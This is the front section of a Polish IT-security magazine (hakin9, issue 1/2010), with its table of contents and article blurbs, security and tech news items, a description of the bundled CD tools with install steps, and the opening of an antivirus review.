ATAK - Amazon S3

Transkrypt

ATAK - Amazon S3
SPIS TREŚCI
NARZĘDZIA
jest wydawany przez Software Press Sp. z o.o. SK
Prezes wydawnictwa: Paweł Marciniak
Redaktor naczelny: Katarzyna Dębek
[email protected]
Redaktor prowadzący: Tomasz Przybylski
Kierownik produkcji: Andrzej Kuca
[email protected]
Dział produkcji kolportażu: Alina Stebakow
[email protected]
DTP: Tomasz Kostro
12
POCZĄTKI
14
Okładka: Agnieszka Marchocka, Łukasz Pabian
Dział reklamy: [email protected]
Obsługa prenumeraty:
[email protected]
Druk: ArtDruk www.artdruk.com
Nakład wersji polskiej 6 000 egz.
Wydawca:
Software Press Sp. z o.o. SK
ul. Bokserska 1, 02-682 Warszawa, Polska
Tel. +48 22 427 36 77, Fax +48 22 244 24 59
www.hakin9.org
Redakcja dokłada wszelkich starań, by publikowane w piśmie
i na towarzyszących mu nośnikach informacje i programy
były poprawne, jednakże nie bierze odpowiedzialności za
efekty wykorzystania ich; nie gwarantuje także poprawnego
działania programów shareware, freeware i public domain.
ATAK
20
Hakowanie Windows 7
26
Cloud computing
34
Błędy typu NULL Pointer Dereference
40
Jak zostać władcą portów
Uszkodzone podczas wysyłki płyty wymienia redakcja.
Wszystkie znaki firmowe zawarte w piśmie są własnością
odpowiednich firm i zostały użyte wyłącznie w celach
informacyjnych.
Do tworzenia wykresów i diagramów wykorzystano
program
firmy
Płytę CD dołączoną do magazynu przetestowano
programem AntiVirenKit firmy G DATA Software Sp. z o.o.
Redakcja używa systemu
automatycznego składu
UWAGA!
Sprzedaż aktualnych lub archiwalnych numerów pisma
w cenie innej niż wydrukowana na okładce – bez zgody
wydawcy – jest działaniem na jego szkodę i skutkuje
odpowiedzialnością sądową.
hakin9 ukazuje się w następujących krajach:
Hiszpanii, Argentynie, Portugalii, Francji, Belgii,
Luksemburgu, Kanadzie, Maroko, Niemczech,
Austrii, Szwajcarii, Polsce.
Prowadzimy również sprzedaż kioskową
w innych krajach europejskich.
Magazyn hakin9 wydawany jest
w 4 wersjach językowych:
PL
EN
FR
DE
UWAGA!
Techniki prezentowane w artykułach mogą być
używane jedynie we własnych sieciach lokalnych.
Redakcja nie ponosi odpowiedzialności za
niewłaściwe użycie prezentowanych technik
ani spowodowaną tym utratę danych.
4 HAKIN9 1/2010
Odzyskiwanie danych
z twardego dysku
ARTUR SKROUBA
W dobie masowego rozwoju techniki cyfrowej podstawowym
narzędziem pracy, komunikacji i rozrywki dla większości
społeczeństwa staje się komputer osobisty (PC). Za
jego pomocą można już dzisiaj zrealizować większość
codziennych spraw. Niestety, korzystanie z tych dobrodziejstw
wiąże się z pewnym ryzykiem, dotyczącym potencjalnego
wystąpienia awarii, która w skuteczny sposób może
sparaliżować nasz codzienny dzień.
Wyróżnieni betatesterzy:
Krzysztof Piecuch,
Maksymilian Arciemowicz
Opracowanie CD: Rafał Kwaśny
Osoby zainteresowane współpracą prosimy o kontakt:
[email protected]
Mks_vir 9.0 wersja DOM PLUS
WOJCIECH SMOL
Windows 7, będący następcą kompletnie nieudanej Visty,
prawdopodobnie okaże się dla Microsoftu szczęśliwą
siódemką i powtórzy komercyjny sukces Windowsa
XP. System ten nie zapewni nam jednak bezpiecznego
środowiska pracy. Wojtek w swoim artykule przedstawi 7
dowodów na potwierdzenie tej tezy.
MARCIN KOSEDOWSKI
Nie uciekniemy od Cloud computingu. Dostawcy usług
przywiążą nas do siebie, po czym zaopiekują się naszymi
danymi. Nie nastąpi to w tym roku ani kolejnym, ale trend jest
jasny – coraz więcej danych i obliczeń będzie rozproszonych
w Sieci. To się po prostu opłaca.
DAMIAN OSIENICKI
Nieostrożne operacje na wskaźnikach są źródłem wielu błędów,
które mogą posłużyć do eskalacji przywilejów lub ataków DoS.
Artykuł opisuje model zarządzania pamięcią wirtualną procesu
oraz sposób wykorzystania błędów dereferencji wskaźnika, w
systemach linuksowych, na platformie 32-bitowej.
NORBERT KOZŁOWSKI
Nie będziemy potrzebowali floty statków ani pirackiej załogi
by zrealizować ten cel. W XXI wieku zdołamy dokonać
podobnych rzeczy wyposażeni jedynie w komputer oraz wiedzę
pozwalającą na poprawne wykonanie pewnych technik.
SPIS TREŚCI
46
Maskowanie – robisz to źle!
MARCIN KOSEDOWSKI
Hasła maskowane pozwalają na logowanie z niezaufanych systemów. W
teorii zwiększa to poziom bezpieczeństwa, ale stosowane implementacje
są dalekie od doskonałości. Przedstawiamy typowe błędy stosowane przez
polskie banki i propozycje ich rozwiązania.
OBRONA
52
Hartowanie jądra Linuksa
SYLWESTER ZDANOWSKI
Bezpieczeństwo komputerów jest tematyką często omawianą pod różnym
kontem. Budując bezpieczny dom nie wystarczy alarm, groźny pies i czujnik
dymu. Bez mocnych fundamentów cała reszta zawali się w mgnieniu oka.
Fundamentem systemu jest kernel i prawa dostępu.
PRAKTYKA
56
RTIR – nie trać czasu na papierkową robotę
MARCIN TEODORCZYK
Wiadomo, że zdarzenia związane z naruszaniem bezpieczeństwa są nie
do uniknięcia. Czy nie warto przygotować się do efektywnej ich obsługi?
Nieocenionym narzędziem jest tutaj system wsparcia reagowania na incydenty.
BEZPIECZNA FIRMA
68
Bezpieczeństwo informacji
ANDRZEJ GUZIK
Zapewnienie bezpieczeństwa informacji w organizacji wymaga wdrożenia
systemu zarządzania bezpieczeństwem informacji. Polskie normy, dotyczące
bezpieczeństwa informacji, obok przepisów prawa oraz standardów
branżowych stanowią tzw. najlepsze praktyki, wytyczne dla organizacji lub
STAŁE
RUBRYKI
6 Aktualności
Przedstawiamy garść najciekawszych
wiadomości ze świata bezpieczeństwa
systemów informatycznych i nie tylko.
Oto kilka z nich:
•
•
•
•
Zaskakujące wyniki finansowe
Microsoftu
E-papierowe nowości od AUO
HTC wydaje kod źródłowy jądra Hero
Pirat działający w Sieci na dużą skalę
zatrzymany przez policję
10 Zawartość CD
•
•
•
•
•
DiskExplorer for Linux V3.41
Kerio MailServer na Windows
Runtime GetDataBack
Runtime GetDataBack for NTFS
Network Security Toolkit (NST)
78 Felieton
Diagnoza: Cyberslacking
Termin cyberslacking (w krajach
anglojęzycznych występujący również
w alternatywnej wersji, jako
cyberloafing lub goldbricking)
w piśmiennictwie po raz pierwszy
pojawił się w drugiej połowie lat
dziewięćdziesiątych XX wieku.
82 Zapowiedzi
Zapowiedzi artykułów, które znajdą
się w następnym wydaniu magazynu
hakin9
1/2010 HAKIN9
5
W SKRÓCIE
ZASKAKUJĄCE WYNIKI
FINANSOWE MICROSOFTU
Pod koniec 2009 roku Microsoft ogłosił
wyniki finansowe za pierwszy kwartał
roku obrachunkowego, rozpoczęty
w lipcu 2009. Wyniki zaskoczyły
analityków, są znacznie lepsze od
oczekiwań.
Według raportu firma odnotowała
przychód na poziomie 12,92 mld dolarów.
Wynik jest słabszy niż w zeszłym roku.
Zysk netto wyniósł 3,57 mld dolarów,
40 centów za akcję – w stosunku do
zeszłego roku słabsze notowania o
odpowiednio o 18% i 17%. Niemniej
analitycy spodziewali się zysku 32
centów za akcję, więc można powiedzieć,
że wyniki znacznie przekroczyły
przewidywania rynku.
Do tego sukcesu w okresie kryzysu
głównie przyczyniło się zainteresowanie
systemem Windows oraz konsolami
Xbox.
E-PAPIEROWE NOWOŚCI OD AUO
Firma AUO zaprezentowała największy na
świecie moduł e-papieru w technologii
EPD (Electrophoretic Display) o przekątnej
aż 20 cali.
Produkt wyróżnia się wyjątkowo
niskim zużyciem energii elektrycznej,
wynoszącym niecałe 2W. Dysponuje
skalą szarości liczącą 16 poziomów.
Moduł nie wymaga podświetlenia, przez
co wydaje się idealnym rozwiązaniem do
wykorzystania w przyszłości w sektorze
Public Display.
Oprócz tego firma pokazała 6calowy wyświetlacz z e-papieru, który
można wielokrotnie zginać, co przybliża
go funkcjonalnością do zwykłego
papieru.
6 HAKIN9 1/2010
TREND MICRO AKCEPTUJE NOWE
METODY „TESTOWANIA NA ŻYWO”
OPRACOWANE PRZEZ NSS LABS
Firma Trend Micro zaakceptowała
nowe metody testowania programów
zabezpieczających przed szkodliwym
oprogramowaniem, opracowane
przez NSS Labs, które lepiej
odzwierciedlają warunki panujące w
świecie rzeczywistym. Dotychczasowe
przestarzałe techniki testowania
nie sprawdzały stopnia ochrony
przed najnowszymi zagrożeniami
pochodzącymi z Internetu.
Firma NSS Labs zastosowała w
testowaniu programów antywirusowych
nową metodę, w której oprócz
tradycyjnych pomiarów skuteczności
wykrywania zagrożeń mierzy się
dwa dodatkowe parametry: stopień
wykrywania i blokowania zagrożeń na
podstawie ich źródłowych adresów URL
oraz czas opóźnienia od chwili, gdy
producent programu antywirusowego
po raz pierwszy uzyskuje informację
o nowym potencjalnym zagrożeniu
do chwili, w której ochrona przed tym
zagrożeniem dociera do klientów,
czyli tzw. czas do uzyskania ochrony
(ang. time to protect – przyp. red.)
— powiedział Raimund Genes, dyrektor
ds. technicznych w firmie Trend Micro.
Jesteśmy zadowoleni, że firma
Trend Micro dobrze wypadła w tych
testach, ale przede wszystkim cieszą
nas postępy w testowaniu produktów
chroniących przed szkodliwym
oprogramowaniem, które sprawiają, że
metody testowania opracowane przez
NSS Labs lepiej pokazują rzeczywistą
ochronę zapewnianą użytkownikom tych
produktów — powiedział Genes. – Testy
powinny koncentrować się na poziomie
ochrony klienta, a to znacznie więcej niż
tylko wykrywanie zagrożeń.
W testach grupowych, w których
badano efektywność najlepszych
zabezpieczeń dla użytkowników
indywidualnych i firm w ochronie
przed szkodliwym oprogramowaniem
wykorzystującym strategie inżynierii
społecznej, firma Trend Micro
uzyskała najlepsze wyniki. Jest
to kolejne potwierdzenie tego, że
internetowa infrastruktura kliencka
Trend Micro™ Smart Protection
Network™, zapewniająca warstwową
ochronę, wygrywa z rozwiązaniami
konkurencji i najlepiej zabezpiecza
przed zagrożeniami. Testy te zostały
przeprowadzone przez NSS Labs
niezależnie — żaden producent ich nie
zlecił ani nie sponsorował.
Testowane były następujące produkty
Trend Micro: Trend Micro™ Internet
Security dla użytkowników indywidualnych
i Trend Micro™ OfficeScan™ Client/
Server Suite dla przedsiębiorstw. Łatwo
pokonały one produkty konkurencji, w
tym firm Kaspersky, McAfee, Symantec,
F-Secure, AVG, Panda, Sophos, Eset i
Norman.
Systemy oceny reputacji plików poza
siecią lokalną znacznie poprawiły ogólny
poziom bezpieczeństwa, a firma Trend
Micro zapewnia najlepszą ochronę
w fazie pobierania i uruchamiania
szkodliwych programów — podsumował
Rick Moy, prezes NSS Labs. Z testu
tego jasno wynika, że firma Trend
Micro odniosła duży sukces dzięki
wprowadzeniu wspomnianej metody do
swojego arsenału środków.
Ogólny wskaźnik ochrony w
przypadku rozwiązania Trend Micro
dla użytkowników indywidualnych
osiągnął poziom 96,4% . Rozwiązanie
to zatrzymało 91% zagrożeń w trakcie
pobierania i dodatkowo rozpoznało
jako szkodliwe 5,5% programów po
ich uruchomieniu, co daje łączny
wskaźnik 96,4%. Cały raport dotyczący
testowania produktów dla użytkowników
indywidualnych jest dostępny po
zarejestrowaniu się na stronie http:
//nsslabs.com/host-malware-protection/
consumer-anti-malware.html.
Trend Micro OfficeScan Client/
Server Suite, sztandarowy produkt firmy
do ochrony punktów końcowych w
przedsiębiorstwach i firmach średniej
wielkości, osiągnął najlepszy wynik ze
wszystkich testowanych rozwiązań tego
typu. Aby bezpłatnie zapoznać się z pełną
treścią raportu dotyczącego testowania
produktów dla przedsiębiorstw należy
zarejestrować się pod adresem
http://nsslabs.com/reprints/9b/
EndpointProtection-3Q2009.
AKTUALNOŚCI
Trend Micro OfficeScan wykorzystuje
standardową architekturę klient-serwer.
Ulepszona konsola zarządzania jest
intuicyjna w obsłudze. Łatwe w użyciu
rozwiązanie Office Scan nie sprawiało
problemów w trakcie naszego testu.
Poziom ochrony był niezmiennie bardzo
wysoki w czasie całego procesu
testowania — oceniła firma NSS Labs.
Nowe metody testowania NSS Labs
sprawdzają możliwość blokowania
zagrożeń, zanim dotrą one do punktu
końcowego oraz wykrywania tych, które
mimo wszystko się przedostaną — te
dwa parametry zostają uwzględnione
w ogólnej ocenie produktu. NSS Labs
Live Testing (testowanie na żywo) bada
skuteczność produktu w ochronie przed
najnowszymi zagrożeniami w warunkach
użytkownika, a nie — jak inne metody
— przed nieaktualnymi próbkami w
zamkniętym środowisku laboratoryjnym.
Przedstawione tutaj wyniki zostały oparte
na danych empirycznych zebranych
w trakcie 17 dni całodobowego
testowania, wykonywanego co 8 godzin,
obejmującego 59 odrębnych testów. W
każdym z tych testów były dodawane
nowe źródłowe adresy URL szkodliwego
oprogramowania. Każdy produkt został
uaktualniony do najnowszej wersji
dostępnej w momencie rozpoczęcia
testów i umożliwiał dostęp do Internetu
przez cały czas ich trwania.
Informacje o rozwiązaniu Trend
Micro OfficeScan Client/Server
Suite
Trend Micro OfficeScan to produkt dla
przedsiębiorstw. Chroni on komputery
biurkowe, laptopy, serwery, urządzenia
pamięci masowej i smartfony
— w sieci korporacyjnej i poza nią
— z wykorzystaniem światowej klasy
nowatorskich zabezpieczeń przed
szkodliwym oprogramowaniem,
działających poza siecią lokalną,
opartych na infrastrukturze Trend Micro
Smart Protection Network. Nowa funkcja
File Reputation przenosi pliki wzorców do
Internetu, dzięki czemu uwalnia zasoby
w punktach końcowych. Natomiast
funkcja Web Reputation blokuje dostęp
do szkodliwych serwisów internetowych.
Elastyczna, modułowa architektura,
nowa funkcja kontroli urządzeń, funkcja
zapobiegania włamaniom do komputera
głównego (HIPS), wirtualizacja oraz
obsługa wielu platform obniżają koszty
zarządzania i zwiększają elastyczność.
Więcej informacji o produkcie
można znaleźć pod adresem .http:
//us.trendmicro.com/us/products/
enterprise/officescan-client-serveredition/index.html
LCD, umieszczonej na obudowie. Brak
hasła lub niepoprawne wpisanie blokuje
możliwość korzystania z dysku. Produkty
występują w trzech różnych wersjach,
dysponujących różnymi poziomami
zabezpieczeń: Data Locker Personal,
Data Locker Pro AES oraz Data Locker
Enterprise. Urządzenia w przypadku
wykrycia ataku metodą brute force
wymazują wszystkie dane.
HTC WYDAJE KOD ŹRÓDŁOWY
JĄDRA HERO
WINDOWS 7 POPULARNIEJSZY
OD HARRY'EGO POTTERA
Firma HTC udostępniła kod źródłowy
oprogramowania zastosowanego w Hero.
Od kiedy Hero pojawił się na
rynku, deweloperzy oprogramowania
nalegali, by został udostępniony kod
źródłowy jądra. Stosowna paczka
właśnie co pojawiła się do pobrania.
Taka sytuacja jest korzystna nie tylko dla
twórców oprogramowania, ale także dla
użytkowników, gdyż na świecie zdążyło
pojawić się już wielu hakerów Androida,
którzy w szybkim czasie dostarczą
stosowne modyfikacje dla telefonów
HTC Hero. Ruch zapoczątkowany
przez firmę HTC będzie przyczyną
pojawienia się w Sieci wielu ROM-ów
ze zmienionym wyglądem systemu,
dodaną funkcjonalnością itd. Na tej
samej zasadzie, dzięki hakerom i
udostępnionemu kodowi źródłowemu
telefonu, na słuchawce G1 można
zainstalować ROM dostarczający
interfejsu HTC Sense, niedostępnego
oficjalnie dla tego modelu telefonu.
Na półkach sklepowych można już
znaleźć nowy system operacyjny
Microsoftu. Firma z Redmond bardzo
liczy, że pomoże on w zatarciu złego
wrażenia, jakie wywarła Vista. W
przedsprzedaży na Amazonie Windows 7
rozchodzi się jak ciepłe bułeczki.
Amerykańska firma wiąże duże
nadzieje z tym produktem po niezbyt
udanym poprzedniku, czyli systemie
Vista. Windows 7 ma pozwolić
odbudować nadszarpniętą reputację
koncernu, niektórzy widzą w nim
także szansę na poprawę wyników w
całej branży informatycznej. Częstą
praktyką jest bowiem kupowanie
systemu operacyjnego razem z nowym
sprzętem.
O znaczeniu wydarzenia
niech świadczy fakt, że w Japonii i
Zjednoczonym Królestwie będą miały
miejsce specjalne wydarzenia związane
z premierą, na których obecne będą
osoby odpowiedzialne za stworzenie
nowego systemu – podaje CNET News.
Oprócz tego Microsoft otwiera dzisiaj
swój pierwszy sklep pod własną marką
(w Scottsdale, w stanie Arizona) oraz
kawiarnię w samym centrum Paryża.
Microsoft ma też kolejny powód do
zadowolenia. Brytyjski oddział sklepu
Amazon, gdzie od pewnego czasu
można było zamawiać kopie Windowsa
7, poinformował, że w ciągu zaledwie
pierwszych 8 godzin przedsprzedaży
zamówiono więcej egzemplarzy systemu
niż w przypadku Visty w czasie całego
okresu przed jej wprowadzaniem na
rynek – podaje TG Daily. Sprzedaż jest też
znacznie lepsza niż w przypadku ostatniej
powieści Harry'ego Pottera, co stawia
NOWE DYSKI TWARDE Z SERII
DATA LOCKER
Firma Origin Storage rozszerzyła
linię zewnętrznych dysków twardych
Data Locker o dwa nowe modele o
pojemności 750 GB oraz 1 TB. W
sprzedaży nadal będą dostępne wersje
320 GB i 500 GB.
Urządzenia wyposażono w szereg
funkcji, gwarantujących bezpieczeństwo
przechowywanych danych. Podstawowe
to: 256-bitowe szyfrowanie danych
AES i zabezpieczenie dostępu hasłem
o długości od 6 do 18 znaków,
wprowadzanym za pomocą klawiatury
1/2010 HAKIN9
7
W SKRÓCIE
Windowsa 7 w czołówce listy najlepiej
sprzedających się produktów.
Brian McBride z Amazon.co.uk
powiedział, że sprzedaż systemu
operacyjnego przeszła najśmielsze
oczekiwania. W ciągu ostatnich trzech
miesięcy jedynie najnowsza powieść
Dana Browna Zaginiony Symbol
sprzedawała się lepiej – podaje z kolei
Telegraph.co.uk.
W sprzedaży dostępnych będzie
sześć wersji systemu, jednak dla
Microsoftu najważniejsze są Home
Premium oraz Professional, jako
najpopularniejsze. Firma przypomina,
że przejście z Visty na Windowsa 7
nie powinno być trudne, gdyż system
umożliwi automatyczne przeniesienie
wszystkich programów oraz danych.
SUKCES TRÓJMIEJSKIEJ POLICJI:
ZATRZYMANIE INTERNETOWEGO
PIRATA Z SOPOTU
Policjanci zajmujący się zwalczaniem
przestępczości gospodarczej Komendy
Wojewódzkiej w Gdańsku wspólnie z
funkcjonariuszami Komendy Miejskiej
z Sopotu zatrzymali w miejscu
zamieszkania 31-letniego mieszkańca
Sopotu, administratora oraz twórcę
płatnych serwisów internetowych, na
których bezprawnie rozpowszechniał
ponad 3 tysiące filmów o wartości
około 240 tys. Jest to jedna z
największych tego typu akcji w Polsce,
kiedy zatrzymany zostaje sprawca
rozpowszechniający filmy w takiej liczbie
tytułów i na tak wielką skalę.
W czasie przeszukania policjanci
zabezpieczyli 2 komputery, 2 dyski
twarde oraz 415 płyt CDR i DVDR
zawierających nielegalnie skopiowane
filmy oraz pirackie programy
komputerowe. Wartość programów
8 HAKIN9 1/2010
komputerowych wyceniona została
wstępnie na 30 tys. zł. Zabezpieczono
również 10 tys. zł pochodzące z
działalności przestępczej.
W ramach prowadzonej od kilku
miesięcy działalności gospodarczej
31-letni mieszkaniec Sopotu za
pośrednictwem założonych przez
siebie płatnych serwisów internetowych
poświęconych tematyce filmowej
nielegalnie rozpowszechniał przeszło
3 tysiące filmów. Serwisy działały
w ramach ponad dwustu domen
(adresów) internetowych (!). Dostęp
do zasobów multimedialnych na tych
stronach odbywał się po wysłaniu
płatnego smsa. W zależności od
wartości wysłanego smsa internauta
otrzymywał określony czas dostępu do
filmów wybranych z udostępnionej przez
sprawcę bazy.
Za nielegalne rozpowszechnianie
utworów grozi kara do 2 lat
pozbawienia wolności. Jeżeli sprawca
uczynił sobie z popełniania tego
przestępstwa stałe źródło dochodu
albo działalność przestępną
sankcja wzrasta do lat 5. Natomiast
za uzyskanie cudzego programu
komputerowego bez zgody osoby
uprawnionej w celu osiągnięcia korzyści
majątkowej grozi kara pozbawienia
wolności do lat 5.
Mariusz Kaczmarek z Fundacji
Ochrony Twórczości Audiowizualnej,
organizacji współpracującej z organami
ścigania i wymiaru sprawiedliwości
w zwalczaniu piractwa filmowego
nie kr yje satysfakcji z działania
policjantów z Trójmiasta: „To jedna
z największych tego rodzaju spraw.
Przyjąć należy, że każdy z 3 tysięcy
filmów był wielokrotnie nielegalnie
odtwarzany, co ma znaczny wpływ na
wysokość strat ponoszonych przez
producentów. Sprawca działał spr ytnie
i na szeroką skalę, więc tym większe
słowa uznania należą się policji.
Takie same słowa uznania należy
skierować pod adresem prokuratur y
sopockiej, która nie wyklucza objęcia
postępowaniem klientów korzystających
z nielegalnych serwisów”. Bartłomiej
Witucki, koordynator Business
Software Alliance, organizacji
zrzeszającej czołowych producentów
oprogramowania i zajmującej się
zwalczaniem piractwa komputerowego
w Polsce i na świecie dodaje: „Ta
sprawa to jeszcze jeden dowód, że w
Internecie nikt nie jest anonimowy i że
każda nielegalna działalność w sieci
pozostawia ślady pozwalające na
identyfikację sprawcy”.
Źródło: http://www.pomorska.policja.g
ov.pl/serwisb.php?nr=10928
NA CD
ZAWARTOŚĆ CD
Network Security Toolkit jest to unikalny w swoim rodzaju pakiet narzędzi
przeznaczonych dla administratorów sieci i wszystkich , którzy w jakiś sposób muszą
sieciami zarządzać.
DYSTRYBUCJA:
•
Network Security Toolkit (NST)
PROGRAMY:
•
•
•
•
DiskExplorer for Linux V3.41
Kerio MailServer na Windows
Runtime GetDataBack
Runtime GetDataBack for NTFS
NETWORK SECURITY TOOLKIT
Network Security Toolkit w wersji 2.11.0
można już pobrać z http://www.networkse
curitytoolkit.org/. Bazą pakietu jest FEDORA,
a całość zaprojektowano w taki sposób
by zapewnić łatwy i szybki dostęp do
najlepszych narzędzi w klasie Open Source
Network Security Applications. Pakiet jest
botowalnym dyskiem ISO działającym na
większości platform x86/x86_64. Większość
dostępnych w nim narzędzi znajduję się na
liście TOP 100 Security Tools opublikowanej
przez INSECURE.ORG. Narzędzie to
zmienia dowolny system x86/x86_64
na analizator ruchu w sieci , wykrywacz
włamań, generator pakietów i monitor sieci
bezprzewodowej . Uruchomienie dystrybucji
trwa mniej niż minutę i możliwe jest na
dowolnym komputerze stacjonarnym czy też
notebooku bez naruszania zainstalowanego
na nim systemu operacyjnego. Dystrybucja
ta jest również doskonałym narzędziem
do odzyskiwania danych lub naprawy
systemu, który uległ awarii. Przedstawiona
wersja 2.11.0. oparta została o Fedora 11
z wykorzystaniem Linux Kernel: 2.6.30.543.fc11. Całość w stosunku do poprzedniej
10 HAKIN9 1/2010
wersji została przeprojektowana i na chwilę
obecną wszelkie aplikacje znajdują się w
pakietach RPM, co powoduję , iż w prosty
sposób możliwa staje się aktualizacja
programów przez Internet. „NST Live”
umożliwia odczyt i zapis plików dzięki
czemu możliwe jest instalowanie aplikacji
pomimo tego , iż uruchomienie nastąpiło
z napędu optycznego. Istnieje również
możliwość przygotowania bot owalnego
systemu uruchamianego z zewnętrznego
dysku USB. Ponad to system posiada
narzędzia przechwytujące driftnet i tcpxtract.
Pierwsze służy do przechwytywania
plików graficznych (gif, JPG itd.) , drugie
natomiast potrafi przechwycić pliki
PDF, DOC. Pozostałe aplikacje znane z
poprzednich wydań zaktualizowane zostały
do najnowszych wersji. Podsumowując
dystrybucja Network Security Toolkit
stanowi niejako podręczne narzędzie dla
każdego kto ma do czynienia z sieciami
komputerowymi. Szybkie uruchomienie
i dostęp do najpotrzebniejszych wysoko
ocenianych narzędzi i aplikacji dotyczących
sieci sprawia , iż dystrybucja ta staję
się bardzo poręczną i w gruncie rzeczy
niezbędną pozycją w wyposażeniu każdego
administratora sieci.
Po uruchomieniu systemu z płyty CD
należy zalogować się do konsoli używająćc
loginu: root oraz hasła: „nst2003” następnie
należy wydać polecenie „nstliveinst” które
uruchomi proces instalacji na dysku
twardym komputera.
Po zakończonym procesie instalacji
należy zrestartować komputer i uruchomić
system z dysku twardego. Zalogować
się używając użytkownika root oraz hasła
nst2003. Po zalogowaniu polecenie „yum
install nst-live” zaktualizuje system poprzez
sieć do pełnej wersji Network Security
Toolkit. Po przeprowadzeniu procesu
instalacji należy wykonać polecenie
nstpostinstall które skonfiguruje system.
DISKEXPLORER FOR LINUX V3.41
Windows edytor dysku do systemu plików
NTFS
Ten zaawansowany edytor dysku
pozwala badać swoje NTFS i wykonywać
odzyskiwanie danych, za pomocą
następujących funkcji:
•
•
•
•
•
•
•
•
•
przejście NTFS skacząc w tabeli partycji,
boot record, Master File Table lub w
katalogu głównym,
wybierz między widokami, takich jak
hex, tekst, przydział indeksu, MFT, boot
record, tablica partycji,
sprawdź szczegóły wpisu pliku, NT
atrybuty itp.,
szukaj dysku tekstu, tabel partycji,
rekordy rozruchu, MFT wpisy, bufory
indeks,
widok plików,
zapisywanie plików lub całych
katalogów z dowolnego miejsca na
dysku,
identyfikacja plików,
tworzenie wirtualnego dźwięku podczas
boot record, które zostaną utracone lub
uszkodzone,
edycja dysku za pomocą
bezpośredniego odczytu i zapisu w
trybie (nie zalecane) lub wirtualny tryb
zapisu.
NETWORK SECURITY TOOLKIT
KERIO MAILSERVER NA WINDOWS
Kerio MailServer jest nowoczesnym,
bezpiecznym serwerem poczty email z mozliwością pracy grupowej,
niezwykle wygodnym w małych i średnich
przedsiębiorstwach, który zapewnia także
wysoką dostępność usług pocztowych jaką
powinni zapewnić ich dostawcy. Od wersji
6.6 konsola produktu jest dostępna także w
języku polskim.
Administrator może zainstalować i
skonfigurować serwer pocztowy w kilka
minut. Instalacja nie wymaga systemów
operacyjnych z linii Windows Server
co znacznie obniża koszty całego
rozwiązania. Administrator posiada
konsolę administracyjną, dzięki której
można centralnie zarządzać serwerem
pocztowym i innymi produktami firmy
Kerio Technologies. Zdalna administracja
odbywa się poprzez połączenie
szyfrowane.
Kerio MailServer jest bezpiecznym
serwerem poczty e-mail potrafiącym
obsłużyć wiele domen, dostarczającym
takich usług jak wysyłanie i dostarczanie
e-maili z wykorzystaniem protokołów IMAP,
POP i SMTP szyfrowanych SSL.
W obu naszych produktach: Kerio
MialServer ze zintegrowanym McAfee
oraz Kerio MailServer ze wsparciem dla
zewnętrznych programów antywirusowych
(Avast, AVG, NOD32, Sophos, Symantec,
CalmAv) zastosowaliśmy wyjątkową
globalną ochronę antywirusową.
Kerio MailServer jest serwerem
e-mailowym zwalczającym spam za
pomocą autoryzacji SMTP, wykorzystania
bazy danych spamerów, wydajnego
filtrowania zawartości i dynamicznych
ograniczeń obciążenia serwera SMTP.
Wygodny interfejs WebMail zapewnia
bezpieczny dostęp do skrzynki pocztowej
przy użyciu przeglądarki internetowej.
Użytkownicy posiadający telefon
komórkowy mają dostęp do swojej
skrzynki dzięki usłudze WAP.
Kerio MailServer jest elastycznym
serverem poczty, który może obsługować
od 10 kont email i również świadczyć
usługi ISP dla wielu tysięcy kont.
RUNTIME GETDATABACK
Zaawansowane narzędzie do
odzyskiwania, danych na skutek
formatowania, ataku wirusa, awarii
urządzenia lub oprogramowania.
GetDataBack potrafi odzyskać
dane, nawet jeżeli została utracona lub
uszkodzona tabela partycji dysku twardego,
FAT/MFT.
GetDataBack odzyska dane nawet
jeżeli dysk nie jest rozpoznawany przez
Windows. Alikacja jest bardzo bezpieczna
gdyż przeznaczona tylko do odczytu,
oznacza to że nie będzie ona próbować
zapisać jakąkolwiek informacje na dysk.
Program GetDataBack ma bardzo
intuicyjny interfejs i działa błyskawicznie.
Przy pomocy GetDataBack można
odzyskać dane zarówno jak na tym
komputerze na którym jest zainstalowana
aplikacja tak i na dowolnym innym
znajdującym się w sieci lokalnej.
Jeśli nie możesz odczytać zawartości
płyty CD, a nie jest ona uszkodzona
mechanicznie, sprawdź ją na co
najmniej dwóch napędach CD.
W razie problemów z płytą,
proszę napisać pod adres:
[email protected]
1/2010 HAKIN9
11
NARZĘDZIA
mks_vir 9.0 wersja
DOM PLUS – recenzja
Producent
MKS Sp. z o.o.
Typ
Antywirus
Strona producenta
www.mks.com.pl
Recenzent
Arkadiusz Krawczyński
OCENA
««««
12 HAKIN9 1/2010
Firma MKS oddała do dyspozycji
użytkowników wersję swojego
sztandarowego produktu opatrzoną
numerem 9. Dla użytkowników domowych
występuje ona w dwóch wersjach: DOM oraz
DOM PLUS. Bogatsza opcja jest rozbudowana
o moduł antyspamowy oraz zaporę sieciową.
Programy antywirusowe przerodziły się w
kombajny monitorujące nie tylko dysk, ale
też pocztę, odwiedzane strony internetowe,
uruchomione procesy itd. Takim właśnie
kompleksowym rozwiązaniem jest pakiet mks_vir
9.0 DOM PLUS. Wersja podstawowa (DOM)
zalecana jest dla osób, które mają już chronioną
sieć, na przykład przez ISP lub firewall innego
producenta.
W trakcie instalacji wystarczy tylko podać
folder docelowy oraz klucz licencji (lub wybrać
wersję demo). Program można zainstalować
w dwóch wersjach językowych: polskiej lub
angielskiej. Ustawienia języka można również
bez problemu zmienić już po zainstalowaniu
aplikacji. Nie ma możliwości wyboru
instalowanych składników pakietu, wszystkie są
instalowane domyślnie. Może być to irytujące
dla bardziej zaawansowanych użytkowników,
którzy nie używają niektórych modułów i
chcieliby mieć możliwość całkowitego ich
usunięcia. Niestety producent nie udostępnił
zaawansowanego trybu instalacji. Program
instalacyjny nie zadaje też żadnych pytań o
konfigurację narzędzi, dzięki temu nie wprawia
w zakłopotanie osób początkujących.
Po zakończeniu instalacji, wymagany jest
restart systemu (w celu aktywacji firewalla).
Program jest gotowy do działania od razu
po uruchomieniu. Oczywiście zastosowana
jest domyślna konfiguracja. Jest to znów
ukłon w stronę mniej doświadczonych
użytkowników. Konfiguracja domyślna
została tak przemyślana, aby nie utrudniała
korzystania z komputera, a jednocześnie
zapewniała przyzwoity poziom bezpieczeństwa.
Główne okno programu zawiera zaledwie
kilka przycisków umożliwiających włączenie
lub wyłączenie poszczególnych modułów
oraz dostęp do ustawień. Dzięki tak
minimalistycznemu interfejsowi obsługa
jest bardzo prosta i intuicyjna, nawet dla
osób początkujących. Użytkownicy chcący
mieć dostęp do większej ilości ustawień i
modułów, mogą przełączyć widok na bardziej
szczegółowy. Zmiana wymaga ponownego
uruchomienia aplikacji, ale trwa to tylko chwilę.
Umożliwia to dostęp do pełnych możliwości
konfiguracyjnych programu. To bardzo dobre
